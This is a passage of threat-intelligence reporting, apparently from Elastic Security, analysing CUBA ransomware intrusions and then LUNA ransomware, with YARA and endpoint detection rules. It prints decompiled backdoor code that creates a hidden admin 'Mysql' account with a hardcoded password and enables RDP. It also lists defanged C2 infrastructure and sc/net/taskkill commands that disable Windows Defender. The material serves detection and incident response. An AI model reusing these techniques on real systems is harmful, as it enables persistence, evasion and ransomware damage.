        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
      hide_accountName(username); SpecialAccounts\\UserList regkey
    }
  }
  return enable_RDP();
}

MARE determined that this executable performs several functions:

Enumerates local administrator and RDP groups.

 WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )

Creates a new user Mysql, sets the password to KJaoifhLOaiwdhadx1@!, and sets no expiration date (0x2Au).

  wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )

Adds this user to the previously enumerated local administrative and RDP groups.

 if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);

Sets the SpecialAccounts\UserList regkey for this user to hide the user from login screens and the control panel.

 hide_accountName(username); regkey

Enables RDP by setting the fDenyTSConnections value to false in the Registry.

return enable_RDP();

In total, add2.exe establishes local persistence via a hidden user and opening of a remote access service. This enables the REF9019 actor to connect back to this machine in case of discovery, patching of the vulnerability, or an incomplete eviction.

Additionally, VirusTotal indicated on the graph page that this file has been hosted at http://208.76.253[.]84.

Of particular note, within the strings of add2.exe, we identified a unique program database file (PDB) named AddUser.pdb. PDB files are used to map elements of source code to the compiled program.

Searching in VirusTotal for the HEX value of F:\Source\WorkNew17\ (content:{463a5c536f757263655c576f726b4e65773137}), we identified another file named ad.exe which shared the same folder structure, and included another PDB file, CmdDLL.pdb.

VirusTotal shows on the graph page that this file has been hosted at `http://108.170.31[.]115/add.dll``. While we did not observe add.dll, we believe they are related and have included the name, hash, and IP in our Observables table as the IP address (108.170.31[.]115) was also reported distributing ra.exe (see the NetSupport section below).

Using this same search criteria, we were able to locate three other files with the same PDB debugging artifacts.SystemBC is a socks5 backdoor with the ability to communicate over TOR.

Remote Access Tools

After establishing a beachhead, REF9019 dropped tooling to manage the post-exploitation phase of the attacks. Notably all tools were not present in each attack. It’s unclear if the decision to use one tool over another was merely driven by preference of individual operators, or if there was an operational factor that contributed to the decision.

SystemBC

SystemBC is a socks5 backdoor with the ability to communicate over TOR.

It was identified via malware_signature alerts that ran after SystemBC was injected into a svchost.exe process.

Post processing of the compressed_bytes of the shellcode_thread alert exposed network indicators our sample utilized, including its command and control server (104.217.8[.]100:5050).

Check out AhnLab’s ASEC blog for detailed coverage of SystemBC’s features.

Let’s look at the data for the SystemBC binary that was collected from the process.Ext.memory_region.bytes_compressed field.

If we run this through the strings command, it becomes a bit more readable. As mentioned above, the work done by the team at ASEC does a tremendous job of describing the SystemBC remote access tool, so we’ll focus on the atomic indicators that we observed.

…truncated…
BEGINDATA
HOST1:104.217.8[.]100
HOST2:104.217.8[.]100
PORT1:5050
…truncated…
193.23.244[.]244
86.59.21[.]38
199.58.81[.]140
204.13.164[.]118
194.109.206[.]212
131.188.40[.]189
154.35.175[.]225
171.25.193[.]9
128.31.0[.]34
128.31.0[.]39
/tor/status-vote/current/consensus
/tor/server/fp/
…truncated…

The values of HOST1 and HOST2 are well-documented infrastructure for the SystemBC tool. The list of 10 IP addresses is Tor directory authorities. One IP address is selected from the list to get the consensus data for the Tor network. Then it will start Tor communications based on the settings it received (as previously reported by ASEC).

While we were not able to identify if Tor traffic was executed, this could have been a clandestine way to exfiltrate sensitive data.

GoToAssist

GoToAssist is a remote desktop support application with some legitimate usage, but also known for its use in tech support scams.In this incident, it was used to download a malicious DLL to the newly created user’s downloads directory (C:\Users\Mysql\Downloads\94-79.dll). We were unable to collect this file and have not observed it later in the incident, however previous reporting has indicated use in CUBA campaigns of DLLs with similar naming conventions.

NetSupport

NetSupport Manager is another client-server remote desktop management application. In this incident, NetSupport was named ra.exe and was written and executed from the C:\programdata\ directory by the previously exploited IIS worker process (w3wp.exe). ra.exe has been distributed by a previously identified IP address (see add2.exe section above).

Our sample is the NetSupportManager RAT as indicated on VirusTotal and corroborates prior reporting of its usage with the CUBA Ransomware group.When analyzing the process data that we extracted from memory we can see that

Cobalt Strike

Cobalt Strike was used in these intrusions, we confirmed this while reviewing the value of the Target.process.thread.Ext.start_address_bytes (a few (typically 32) raw opcode bytes at the thread start address, hex-encoded). Upon doing this, we observed bytes commonly observed in Cobalt Strike payloads.

When analyzing the process data that we extracted from memory we can see that dhl.jpg (from mvnetworking[.]com) and temp.png (from bluetechsupply[.]com) are being used for command and control. This is corroborated by previous research.

Looking at the domains in Shodan ([1][2]), we can see that they are both categorized as Cobalt Strike beacon C2 infrastructure.

Both sites are hosted by a cloud provider, Hivelocity, Inc. We have requested the domains be taken down.

BUGHATCH

BUGHATCH is the name given to a Cuba Ransomware associated downloader by Mandiant in their blog on UNC2596. We detail the observed execution chain and indicators below.

BUGHATCH was launched via PowerShell script stagers in both cases. One execution was following the dropping of a malicious DLL to the Mysql user’s downloads folder (C:\Users\Mysql\Downloads\14931s.dll). Download URI for the next stage was found in the Target.process.Ext.memory_region.strings (http://64.235.39[.]82/Agent32.bin).

In the above example, we observed agsyst82.ps1 downloading Agent32.bin from 64.235.39[.]82, but were unable to collect the PowerShell script. However, while performing open-source research, we identified a PowerShell script on ANY.RUN that performed network connections to the same IP and URL (http://64.235.39[.]82/Agent32.bin). The script is named komar.ps1 in ANY.RUN’s analysis. We are associating these two PowerShell scripts and network activity together.

The other PowerShell script was called by a malicious file, cps.exe. This PowerShell script is called komar2.ps1 and downloads Agent32.bin from 38.108.119[.]121.

komar2.ps1 next attempts to inject itself into svchost.exe from C:\Windows\Sysnative\svchost.exe.

For context, the C:\Windows\Sysnative path is a legitimate Windows directory and used to allow 32-bit applications to access the System32 folder on a 64-bit version of Windows. This path has also been observed as a SpawnTo parameter in Cobalt Strike process injection configurations.

This new injected process again executes komar2.ps1 and includes a new PDB entry of F:\Source\Mosquito\Agent\x64\Release\Agent.pdb. As we discussed above, “komar” means “mosquito” in Polish and is a good indicator as a way to identify other related entities; we see “Mosquito” in the path of the PDB. While a weak association by itself, the PDB in this sample is located in F:\Source\, which is the same location that we’d observed with F:\Source\WorkNew## above for add2.exe. By themselves, they are not a solid reference point between the two samples, but when compared together, they can be categorized as “interesting”.

Based on analysis of the Agent32.bin file, we believe that this is the BUGHATCH malware. BUGHATCH has been observed being used as a downloader in CUBA ransomware incidents. This aligns to how we observed Agent32.bin. BUGHATCH has been covered in the UNC2596 blog by the team at Mandiant.

Credential Harvesting, Internal Reconnaissance, and Lateral Movement

Credential harvesting was observed through process injection into the GoToAssistUnattendedUi.exe binaries. These appear to be the legitimate files for the Go To Assist suite. The credential harvesting was accomplished by using Meterpreter and Mimikatz.

Meterpreter

As we observed in the initial infection several months prior, Meterpreter was observed being used to collect the SAM database using the hashdump module. As previously, this was observed in the Target.process.Ext.memory_region.strings fields.

Mimikatz

Similarly to the Meterpreter tool markings, we also observed Mimikatz. Mimikatz is an offensive security tool used to collect and inject passwords from compromised systems. It uses the SEKURLSA::LogonPasswords module to list all available provider credentials, and this was observed in the Target.process.Ext.memory_region.strings fields.

Zerologon Exploit

Next the threat actors attempted to use a file called zero.exe, which is used to exploit the Zerologon vulnerability to escalate privileges. This file is referenced in previous reporting and is executed on a vulnerable domain controller to dump the NTLM hash for the Administrator. This is a common tactic for lateral movement and to deploy additional implants into the environment, such as Cobalt Strike.

PsExec

PsExec is a legitimate utility, part of the SysInternals suite of tools, used to interactively launch processes on remote systems. PsExec is a common tool for remote administration, both benign and malicious.

While we cannot validate how specifically PsExec was used because there was not an SMB parser on the infected hosts, we can see that PsExec was used to move files between the infected hosts. We cannot confirm that this was not normal administration by the local IT staff, but the only activity observed was between infected hosts and was within the time window of other confirmed malicious activity.

Using LOLBAS

Living off the land binaries, scripts, and libraries (LOLBAS) is a commonly leveraged method to use native and benign tools for malicious purposes. This reduces attacker tools that need to be moved into the environment as well as to appear more like legitimate processes running in a targeted environment.

In one intrusion we observed PsExec being used to remotely copy files (see the PsExec section), however in another environment, we observed similar activity to move files using cmd.exe to move files from one host to another. We were unable to collect the files that were being moved for analysis, but they were a DLL and a Batch file named d478.dll and d478.bat, and the atomic indicators are stored in the Observations table.

Data Exfiltration

The CUBA group belongs to a variant of ransomware operators in that they use extortion as a mechanism to coerce payments from their victims.

In these situations, once initial access and a foothold is achieved, threat actors will identify potentially sensitive data and exfiltrate it off of the environment to use for threats of “name and shame”.

The CUBA group runs a website on the dark web where they release data from victims that do not pay. CUBA releases some data for free, and for others that are more lucrative, have a payment option.

There are multiple ways that the victim data could have been exfiltrated for extortion, the presence of BUGHATCH, Meterpreter, and Cobalt Strike all have data movement capabilities.

Defense Evasion and Actions on the Objective

DefenderControl.exe

To prevent the detection of their malware, the threat actors used Defender Control as a way to disable Microsoft Defender, the native antivirus built into all Windows systems since Vista.

To ensure that Defender Control continued to run, the threat actor used svchost.exe to create a scheduled task.

CUBA Ransomware

We detail the observed execution chain and indicators above, but please see Elastic MARE’s detailed reverse engineering of this sample here.

Diamond Model

Observed Adversary Tactics and Techniques

Tactics

Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.

Initial access
Persistence
Privilege escalation
Defense evasion
Credential access
Discovery
Lateral movement
Command & Control
Exfiltration
Impact

It should be noted that we did not observe the Collection tactic, but based on the evidence of Exfiltration and Impact, this would have been completed.

Techniques / Sub Techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

As noted throughout this research, this covered multiple victims over a large period of time. The CUBA intrusion set has been reported using different techniques and sub techniques, but these are our specific observations.

Observed techniques/sub techniques.

Exploit Public-Facing Application
Command and Scripting Interpreter - PowerShell, Windows Command Shell
Scheduled Task/Job - Scheduled Task
Boot or Logon Autostart Execution - Registry Run Keys/Startup Folder
Create Account - Local Account
OS Credential Dumping - LSA Secrets
Data Encrypted for Impact
Hide Artifact - Hidden Window
Masquerading - Match Legitimate Name or Location
Obfuscated Files or Information
Reflective Code Loading

Detection

YARA

Elastic Security has created YARA rules to identify this BUGHATCH and CUBA ransomware activity.

rule Windows_Trojan_Bughatch {
    meta:
        author = "Elastic Security"
        creation_date = "2022-05-09"
        last_modified = "2022-05-09"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Bughatch"
        threat_name = "Windows.Trojan.Bughatch"
        reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
    strings:
        $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
        $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
        $b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
        $c1 = "-windowstyle hidden -executionpolicy bypass -file"
        $c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell.exe"
        $c3 = "ReflectiveLoader"
        $c4 = "\\Sysnative\\"
        $c5 = "TEMP%u.CMD"
        $c6 = "TEMP%u.PS1"
        $c7 = "\\TEMP%d.%s"
        $c8 = "NtSetContextThread"
        $c9 = "NtResumeThread"
    condition:
        ($a1 or $a2 or $b1) or 6 of ($c*)
}

rule Windows_Ransomware_Cuba {
    meta:
        os = "Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "Cuba"
        threat_name = "Windows.Ransomware.Cuba"
        Reference_sample =
"33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"

    strings:
       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
      $b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our     servers." ascii fullword
      $b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
       $b3 = ".cuba" wide fullword

    condition:
        any of ($a*) or all of ($b*)
}

Defensive Recommendations

Enable Elastic Security Memory and Ransomware protections
Review and ensure that you have deployed the latest Microsoft Security Updates
Maintain backups of your critical systems to aid in quick recovery
Attack surface reduction
Network segmentation

Observations

Atomic indicators observed in our investigation.

| | | | Indicator | Type | Reference from blog | Note | | --- | --- | --- | --- | | 43f7d739f00c2fdc67f7ab6b976565a323a181fb6570ac3d261dff197f820165 | SHA-256 | afk.ttf | | | 159.203.70[.]39 | ipv4-addr | afk.ttf C2 IP | | | 728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da | SHA-256 | add2.exe | | | 208.76.253[.]84 | ipv4-addr | add2.exe C2 IP | | | c24d7a93d6a5c33e673e6b0fd171701c4646e67cf2328f41739ef9b50302a02e | SHA-256 | add.dll | | | 108.170.31[.]115 | ipv4-addr | add.dll C2 IP | | | 62f1fbb6f151bcc67fe68e06031af00bc87ae7e4d9d0a6a60a31d140def09365 | SHA-256 | 94-79.dll | | | 5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378 | SHA-256 | ra.exe | | | 9c71b67411b1432931b4b135dc945f6f7f9da3c295a7449f3ab8dcb56681fa70 | SHA-256 | cps.exe | | | e35632770a23d8e006e149b038c2ccf576c2da0998d830bbc7d7614dc5c22db5 | SHA-256 | 14931s.dll | | | 38.108.119[.]121 | ipv4-addr | Agent32.bin stage location | | | 64.235.39[.]82 | ipv4-addr | Agent32.bin stage location | | | 17edf458f7b8baae5ddef725e255d3a7bb6c960830503556f157655308895128 | SHA-256 | Agent32.bin (BUGHATCH) | | | 2e6fffad384cd6ce93cc1cde97911063e640c1953dac0507cd5f5b4b3d21bb69 | SHA-256 | Agent32.bin (BUGHATCH) | | | 144.172.83[.]13 | ipv4-addr | Agent32.bin C2 IP | | | 3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0 | SHA-256 | zero.exe | | | cdf2b3fbff2649a119051c63904476e70262bde2f6a9a7da8b7db13cbf257851 | SHA-256 | d478.dll | | | 104.217.8[.]100 | ipv4-addr | SystemBC infrastructure | | | 193.23.244[.]244 | ipv4-addr | SystemBC Tor directory authority | | | 86.59.21[.]38 | ipv4-addr | SystemBC Tor directory authority | | | 199.58.81[.]140 | ipv4-addr | SystemBC Tor directory authority | | | 204.13.164[.]118 | ipv4-addr | SystemBC Tor directory authority | | | 194.109.206[.]212 | ipv4-addr | SystemBC Tor directory authority | | | 131.188.40[.]189 | ipv4-addr | SystemBC Tor directory authority | | | 154.35.175[.]225 | ipv4-addr | SystemBC Tor directory authority | | | 171.25.193[.]9 | ipv4-addr | SystemBC Tor directory authority | | | 128.31.0[.]34 | ipv4-addr | SystemBC Tor directory authority | | | 128.31.0[.]39 | ipv4-addr | SystemBC Tor directory authority | | | bluetechsupply[.]com/components/temp.png | url | Cobalt Strike C2 URL | | | bluetechsupply[.]com | domain-name | Cobalt Strike C2 | | | 217.79.243[.]148 | ipv4-addr | Cobalt Strike C2 | | | mvnetworking[.]com | domain-name | Cobalt Strike C2 | | | mvnetworking[.]com/files/dhl.jpg | url | Cobalt Strike C2 URL | | | 149.255.35[.]131 | ipv4-addr | Cobalt Strike C2 | | | ce3a6224dae98fdaa712cfa6495cb72349f333133dbfb339c9e90699cbe4e8e4 | SHA-256 | defender.exe \ DefenderControl.exe | | | 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA-256 | A.exe \ (CUBA RANSOMWARE) | | | b16e0d27e6fa24d3fe7c9ed9167474fbc1cde13ce047878bbd16548cfdf45be3 | SHA-256 | Anet.exe(CUBA RANSOMWARE) | |

LUNA Ransomware Attack Pattern Analysis

Salim Bitam,Seth Goodwin,Andrew Pease,Daniel Stepanic — Wed, 31 Aug 2022 00:00:00 GMT

Key Takeaways

LUNA is ransomware that achieves cross-platform capabilities through its development in Rust
The Windows capabilities are comparable to other ransomware peers
The Linux capabilities, while functional, are less elegant than the Windows variant

Preamble

LUNA Ransomware, which Elastic tracks as REF5264, is a Rust-based ransomware first identified by Kaspersky in their report introducing it in July 2022. Rust as a programming language is known in the developer community for being simpler to implement cross-platform software to work on various target operating systems. It’s able to do this through a convenient cluster of tools that abstract away some operating system peculiarities, likely allowing the malware author to focus more on core functionality.

From the Kaspersky report we were able to collect two LUNA Ransomware samples: (1) a Linux ELF binary, and (2) a Windows PE executable.

This research covers:

Execution and behavior of each sample
Description of the encryption mechanism
Comparison across our samples
Comparison to other ransomware
Detection opportunities

Execution Chain

In the following sections, we'll describe both the Linux and Windows execution chains.

Linux execution

Our Linux sample required an argument to execute. The options were -file [file] to encrypt a single file, or -dir [directory] to walk and encrypt the contents of a specified directory and drop a ransom note. If executed with no arguments, Linux LUNA returns a help page with instructions to use one of the two available arguments. If executed with both the -file and -dir arguments (including multiple files or directories), all arguments are used.

There are no functional protections against encrypting system directories or files. We were able to demonstrate this through encryption of /etc. The execution loop continued as expected until it encrypted the shadow and sudoers files and the process was unable to verify privileges for further file access. The test machine then became unresponsive and required reverting to a prior snapshot. Encryption of these critical system files prevents further encrypting of privileged files and directories the malware attempts to access.

All encrypted files are appended with a .Luna extension, i.e. /etc/passwd.Luna. If using the -dir flag, a r** eadme-Luna.txt ransom note will be created at the root of each encrypted directory as well as subdirectories such as /etc/readme-Luna.txt and /etc/ssl\readme-Luna.txt . While there are no ransomware notes dropped when encrypting an individual file using the -file flag, the encrypted file is still appended with the.Luna** extension.

You may notice the backslash instead of a forward slash in the above full path /etc/ssl\readme-Luna.txt. This is an interesting artifact of LUNA hardcoding a **** to append to subdirectories when building the full path for the ransom note. This behavior is expected and would go unnoticed in a Windows environment, but drew our attention when we saw it in Linux. It does not appear to hinder functionality.

The ransom note is embedded in the binary in a Base64 format and placed in the root of the targeted directories.

The ransom note contains grammatical and spelling errors, listing two ProtonMail email addresses. ProtonMail is an end-to-end encrypted email service based in Switzerland. ProtonMail is popular with privacy-minded individuals and organizations because it uses client-side encryption to protect email content and user data before they are sent to ProtonMail servers.

The phrase “All your files were moved to secure storage” may be either a translation error for “encrypted” or an attempt to trick the victim into believing their data has been encrypted and stolen to later be used for extortion. This could also refer to some operation that is to occur before encryption takes place. There is no network connectivity aspect of this malware.

There is a threat of extortion with the phrase “we can show your real face”, but no extortion site has been observed as other extortion activity groups, like CUBA Ransomware, have used.

Linux Exclusions

Our Linux LUNA sample includes functional but largely unnecessary exclusions leftover from the Windows implementation. These checks are performed in the -dir execution flow before a file is sent to the add_file function for encryption. As an example, see the .ini , .exe , .dll , and .lnk extensions and OpenServer , Windows , Program Files , Recycle.Bin , ProgramData , AppData , and the All Users directories below. Of note, while the .Luna extension is included in the vestigial exclusions, it is present in both Windows and Linux.

| | | | ------------------------- | -------------------------------------------------------------------- | | File Extension Exclusions | Folder Exclusions | | .Luna.ini.exe.dll.lnk | OpenServerWindowsProgram FilesRecycle.BinProgramDataAppDataAll users |

Linux LUNA checks for Windows file extensions and folders and will not encrypt files with the specified extensions on a Linux victim.

The check for the .Luna extension is useful in that it prevents re-encrypting an already encrypted file.

Windows execution

The Windows sample we found was a more full-featured product that included much of the functionality present in other mature ransomware families. It still includes the -dir and -file flags, but now if the malware is run without arguments, the Windows LUNA will perform some preliminary defense evasion, file protection preparation, and enumeration measures before entering the -dir execution loop. Additionally within the -dir execution flow Windows LUNA file and directory exclusions are functional and serve to protect critical system processes from being corrupted by encryption. This is different from what was observed with the Linux LUNA implementation which does not exclude sensitive OS directories or files that can impact system stability.

LUNA uses service and process termination to de-conflict any files locked by other programs to successfully encrypt them along with disabling security products that may prevent ransomware execution. It does this by leveraging a built-in Rust process builder ( std::sys::windows::process::Command::new ) to call three new processes with their own pre-defined command-line arguments.

Service Control
Net
TaskKill

Service Control

Service Control is a Windows utility used to modify services’ entries in the registry and in the Service Control Manager database. In this case, it’s used to ensure a service that is stopped cannot be restarted and interrupt malware execution.

"C:\WINDOWS\system32\sc.exe" config [service] start=disabled
"C:\WINDOWS\system32\sc.exe" : Service Control executable
config [service]: Specifies the service (as an example, WinDefend) that will be modified
start=disabled : Sets the start type of the service to “disabled”

LUNA does not check that a service exists before issuing the service disable command. So it will commonly get 1060 errors to the console indicating that sc.exe attempted to modify a service that does not exist.

Our LUNA sample attempts to disable 253 different services. See the Appendix: Windows Services Termination List for the complete list.

Net

Net ( net.exe ) is a Windows utility used in command-line operations for the control of users, groups, services, and network connections. In this case, it is used to stop the running services that have already been prevented from restarting by sc.exe.

"C:\WINDOWS\system32\net.exe" stop [service] /y
"C:\WINDOWS\system32\net.exe" : Net executable
stop [service]: Specifies the name of the service (as an example, WinDefend) that will be stopped
/y : Carries out the command without first prompting to confirm actions

Again there are no checks that the service is actually running on the victim machine. For Net, this manifests as 2185 errors printing to the console for each attempt to stop a nonexistent service.

TaskKill

TaskKill ( taskkill.exe ) is a Windows utility used to end a task or process by the process ID or image name. LUNA uses TaskKill to terminate processes by name that could interfere with the malware’s operation by maintaining file access locks on files targeted for encryption.

"C:\WINDOWS\system32\taskkill.exe" /im [process name] /f
"C:\WINDOWS\system32\taskkill.exe" : TaskKill executable
/im [process name]: Specifies the name of the process (as an example, msmpeng.exe) that will be terminated
/f : Specifies that processes be forcefully ended

Once again, there are no checks that the process is actually running. TaskKill produces “process not found” errors printed to the console for attempts to kill non-existent processes.

Our sample contained a hardcoded list of 997 processes to kill. See the Appendix: Windows Process Termination List for the complete list.

Disk enumeration

Next, Windows LUNA executed with no arguments uses a function called get_all_drives to brute-force the enumeration of all the available drives by going through the English alphabet and verifying if the drives are mapped to the machine using Rust library std::fs::read_dir. If the volume exists, it will be flagged for encryption at a later stage.

All volumes identified are then passed to LUNA’s walk_dir function that will drop ransom notes, enumerate subdirectories, and encrypt files similar to the Linux version with the exact same ransomware note.

Windows exclusions

Unlike the Linux version, however, the Windows LUNA file and folder exclusions are respected to prevent making the targeted machine inoperable or inadvertently stopping encryption prematurely.

We compared these exclusions with those from our CUBA Ransomware Malware Analysis report. LUNA did not include the file extensions .sys or .vbm , both identified in the CUBA analysis. Also, LUNA excludes all of the \Program Files , \ProgramData , and \AppData directories and subdirectories, which CUBA encrypts - or has narrower exclusions to subfolders. This seems like an overly broad exclusion methodology as it misses some valuable data that would be disruptive if encrypted.

Encryption Implementation

LUNA uses a multi-step encryption implementation approach designed to make the author’s decryption tool the only known way to recover targeted files.

Encryption process

The malware author generates a public/private key pair before compilation and embeds the public key in the LUNA binary for later use by the malware. The author maintains the private key until the victim has met their demands.

In many cases, ransomware actors generate a new “author’s” key pair for each victim organization.

Within the add_file function, each time LUNA encounters a new file to encrypt, the malware will generate its own public/private key pair associated with that file. It does this by using the open source library x25519-dalek x25519 elliptic curve Diffie-Hellman key exchange with RngCore::fill_bytes random number generator used for entropy, which is built into Rust.

Elliptic curve (ECC) key generation offers several performance improvements over RSA for equivalent key size. Generally, for a given key size ECC offers greater cryptographic strength and is faster to derive a public key from a private key. This speed improvement helps when a new key pair is generated for every file to be encrypted on a victim machine.

At this point, there are two sets of public/private keys: the authors and the malware’s.

LUNA will then use the malware-generated private key and the author’s embedded public key to derive an AES key.

Files can then be encrypted by chunk with AES in the counter (CTR) mode and an initialization vector (IV). The hardcoded IV is the string “Luna” padded with zeros to be 16 bytes long as required by the AES-CTR cipher algorithm.

Initialization vectors are broadly used in cryptography to provide input to initialize the state of the cipher algorithm before the plaintext is encrypted. In most other contexts it is randomized and shared with the public key. This randomization provides a similar function to salt for hashed passwords.

Using the std::io::Seek trait, Rust is able to abstract the OS appropriate seek , ie lseek for Linux. The malware uses this function to read data from the target file, encrypt it, and write it back to the original file.

LUNA first overwrites the original file with the encrypted content, then appends the malware’s public key created for that file and the string “Luna” as a file marker. The extension .Luna is then added to the filename.

At this point, the AES and malware’s private keys are no longer needed and must be destroyed so only the author’s private key can be used for decryption.

LUNA then moves to the next file and starts again.

Decryption process

In order to decrypt a file encrypted with this method we need the AES key and the IV. The IV is hardcoded into the malware and already known, however, the AES key is discarded once the file is encrypted. The AES key was initially generated using the malware’s private key and the author’s public key, but the malware’s private key has also been discarded.

While we also have the malware’s public key in the encrypted file itself, the author’s private key is required, in combination with the malware's public key, to derive the AES key. The AES key in combination with the hardcoded IV can then be used to decrypt each encrypted chunk.

Below you can see a graphic outlining the encryption and decryption process of the LUNA ransomware.

Chunk encryption

Like many ransomware families, LUNA encrypts files differently based on size. This serves to enhance performance and allows the ransomware to make a larger volume of data unusable in a shorter period of time.

If the file is smaller than 320 kB the entire contents of the file are encrypted using the above-described method. If the file size is between 320 kB and approximately 3 MB then only the first 320 kB will be encrypted. For files larger than approximately 3 MB LUNA will encrypt 320 kB chunks deriving the space between chunks by a byte value calculated at run-time based on the file size.

LUNA encryption POC

If you're interested in trying this out yourself to see the encryption/decryption process in action, check out Elastic's Malware Analysis and Reverse Engineering (MARE) team's Python POC in the LUNA Encryption POC Appendix. This script illustrates the implementation of the LUNA encryption/decryption mechanism.

Summary

The samples were nearly identical in their core functionality of the -dir and -file execution paths, the encryption mechanisms utilized, and hard-coded values. Hardcoded value similarities include:

Extension exclusion values
Folder exclusion values
Initialization vector
Author’s public key
Ransomware note

The most obvious difference between the two LUNA samples we looked at is the enhanced functionality of the Windows PE sample when provided no arguments and the adherence to the extension and folder exclusions for Windows.

There are many differences between the two OS packages; it is probably more convenient to provide a single decryption tool for all endpoints ransomed, irrespective of the OS. A uniform encryption and decryption framework could indicate that the LUNA ransomware is used in a Ransomware-as-a-Service implementation or that LUNA is provided as a kit that can be tailored to specific campaigns.

These differences and similarities lead us to the following assessments of these samples:

The Windows sample is much more mature than the Linux sample as reflected in the drive enumeration, services disable/stop, process termination, and exclusions employed to enable the malware to be deployed broadly with little detailed knowledge of the victim machines.
The Linux sample contains vestigial Windows features. The exclusions could be modified to fit some specific Linux distributions, but it could be a challenge to create one list that has broad coverage in the diverse Linux ecosystem.
The service disable/stop and process terminate lists are very large when compared to other mature ransomware samples. While it does not impede the encryption function of the malware, it generates a tremendous amount of noise that could alert defenders. Calling sc config [service] start=disabled and net stop 253 times for many services that do not exist, or taskkill /im 997 times for processes that do not exist provides an excellent opportunity to interdict ransomware execution before encryption begins. This would be much quieter with prior service and process enumeration, as is common with other ransomware campaigns.
The Linux sample did not include the safeguards built into the Windows variant. This caused the Linux sample to encrypt files needed to validate entitlements to system files, such as the sudoers and passwd files. Possibilities, why the Linux sample did not include safeguards :
the malware authors did not have a firm enough understanding of Linux system files and directories to know what should be excluded;
a time constraint prevented the completion of a mature Linux sample;
a lack of widely available ransomware exclusions lists for Linux;
inclusion of a Linux sample was opportunistic because the sample was developed in Rust, which is cross-platform; or
Linux capabilities were included as a “selling point” for a Ransomware-as-a-Service offering

Observed Adversary Tactics and Techniques

Tactics

Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Observed techniques/sub techniques:

Detections

Our detection/protection philosophy regarding ransomware focuses on pre-encryption detection when defenders still have an opportunity to interdict malware execution before data is lost.

YARA

For LUNA Windows and Linux variants, the YARA rule below detects strings embedded in the malware and byte sequences related to core functionality.

rule Multi_Ransomware_LUNA {
    meta:
        Author = “Elastic Security”
        creation_date = "2022-08-02"
        os = "Linux, Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "LUNA"
        threat_name = "Multi.Ransomware.LUNA"
        reference_sample = "1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51"
    strings:
        $str_extensions = ".ini.exe.dll.lnk"
        $str_ransomnote_bs64 = "W1dIQVQgSEFQUEVORUQ/XQ0KDQpBbGwgeW91ciBmaWxlcyB3ZXJlIG1vdmVkIHRvIHNlY3VyZSBzdG9yYWdlLg0KTm9ib"
        $str_path = "/home/username/"
        $str_error1 = "Error while writing encrypted data to:"
        $str_error2 = "Error while writing public key to:"
        $str_error3 = "Error while renaming file:"
        $chunk_calculation0 = { 48 8D ?? 00 00 48 F4 48 B9 8B 3D 10 B6 9A 5A B4 36 48 F7 E1 48 }
        $chunk_calculation1 = { 48 C1 EA 12 48 89 D0 48 C1 E0 05 48 29 D0 48 29 D0 48 3D C4 EA 00 00 }
    condition:
        5 of ($str_*) or all of ($chunk_*)
}

Endpoint rules

For Windows LUNA there is the opportunity to prevent execution before encryption in the “no arguments” execution flow. As outlined in the previous sections, this execution flow attempts to disable and stop 253 services and terminate 997 processes whether or not they exist on the victim machine.

Our Threat Research And Detection Engineering team (TRADE) tuned and promoted a behavioral endpoint rule targeting these pre-encryption environmental preparation TTPs.

The below rule identifies and prevents attempts to disable the Windows Defender services.

query = '''
process where event.action == "start" and
  process.pe.original_file_name : ("net.exe", "sc.exe", "cmd.exe") and
  process.command_line : ("*disabled*", "*stop*") and process.command_line : ("*WdNisSvc*", "*WinDefend*") and
    (process.parent.executable :
                    ("?:\\Windows\\Microsoft.NET\\*",
                     "?:\\Users\\*",
                     "?:\\ProgramData\\*") or
    process.parent.name : ("rundll32.exe", "regsvr32.exe", "wscript.exe", "cscript.exe", "powershell.exe", "mshta.exe"))
'''

optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

References

The following were referenced throughout the above research:

